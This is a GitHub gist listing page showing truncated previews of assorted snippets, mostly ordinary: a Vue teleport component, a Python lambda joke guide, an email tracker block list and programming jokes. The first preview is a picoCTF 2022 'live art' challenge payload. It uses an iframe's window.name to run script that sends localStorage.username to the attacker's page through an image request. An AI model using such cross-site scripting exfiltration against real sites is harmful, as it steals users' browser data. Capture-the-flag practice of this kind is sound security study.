Skip to content

Instantly share code, notes, and snippets.

View Alan-Liang's full-sized avatar

Alan L Alan-Liang

View GitHub Profile
@maple3142
maple3142 / payload.html
Created March 30, 2022 00:18
picoCTF 2022 live art
<iframe srcdoc="none" id="frm"></iframe>
<script>
frm.contentWindow.name = `
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username
`.slice(1, -1)
frm.onload = () => {
console.log('loaded 1')
frm.onload = () => {
frm.onload = null
console.log('loaded 2')
@Alan-Liang
Alan-Liang / teleport.js
Created January 13, 2021 10:14
Vue 2 teleport
/**
* Usage:
* <app-bar>
* <teleport-target name="app-bar" />
* </app-bar>
* And then:
* <teleport to="app-bar">
* <h1>Hello World!</h1>
* </teleport>
*/
@MineRobber9000
MineRobber9000 / donotuse3.py
Last active February 8, 2024 12:48
How to NEVER use lambdas - Python 3 edition
###########################################################
# How to NEVER use lambdas. An inneficient and yet educa- #
# tonal [sic] guide to the proper misuse of the lambda #
# construct in Python 3.x. [DO NOT USE ANY OF THIS EVER] #
# original by (and apologies to): e000 (13/6/11) #
# now in Python 3 courtesy of: khuxkm (17/9/20) #
###########################################################
## Part 1. Basic LAMBDA Introduction ##
# If you're reading this, you've probably already read e000's
@dhh
dhh / tracker_blocking.rb
Last active June 30, 2024 14:35
Current list of spy pixels named'n'shamed in HEY, as of April 23, 2020
module Entry::TrackerBlocking
extend ActiveSupport::Concern
included do
has_many :blocked_trackers
end
email_service_blockers = {
"ActiveCampaign" => /lt\.php(.*)?l\=open/,
"AWeber" => "openrate.aweber.com",
@HatScripts
HatScripts / codepen_jokes.md
Last active December 18, 2023 00:10
Programming jokes/one-liners found on CodePen
  • A Pen is worth a thousand docs.
  • Be the developer your linter thinks you are.
  • How do you comfort a JavaScript bug? You console it!
  • How would you React if I said I love Vue?
  • If a groundhog inspects their Web Component, do they see their Shadow DOM?
  • If you get tired, be like an AJAX request and REST.
  • If you want to flex your skills and go off the grid, try coding a layout with float.
  • Keep friends close and formatters closer.
  • Keep the <main> thing the <main> thing.
  • Knock knock! Race condition. Who's there?
@Alan-Liang
Alan-Liang / README.md
Last active June 1, 2018 02:29
Some strange integration between Telegram, Huginn and Wechat for Work

How to use

  1. create a bot.
  2. create an Webhook agent and add it to your bot.
  3. paste the code into a Javascript agent and recieve fron webhook.
  4. create two agents - one for sending messages to Telegram, another for Wechat.
  5. Link those stuffs and play with them,
@hibiyasleep
hibiyasleep / GodDrinksJava.java
Last active May 17, 2025 20:52
world.execute(me);
package goddrinksjava;
/**
* The program GodDrinksJava implements an application that
* creates an empty simulated world with no meaning or purpose.
*
* @author momocashew
* @lyrics hibiyasleep
*/

@kangax's ES6 quiz, explained

@kangax created a new interesting quiz, this time devoted to ES6 (aka ES2015). I found this quiz very interesting and quite hard (made myself 3 mistakes on first pass).

Here we go with the explanations:

Question 1:
(function(x, f = () =&gt; x) {
@schacon
schacon / gist:1
Created July 15, 2008 18:17
the meaning of gist
This is gist.
There are many like it, but this one is mine.
It is my life.
I must master it as I must master my life.
Without me gist is useless.
Without gist, I am useless.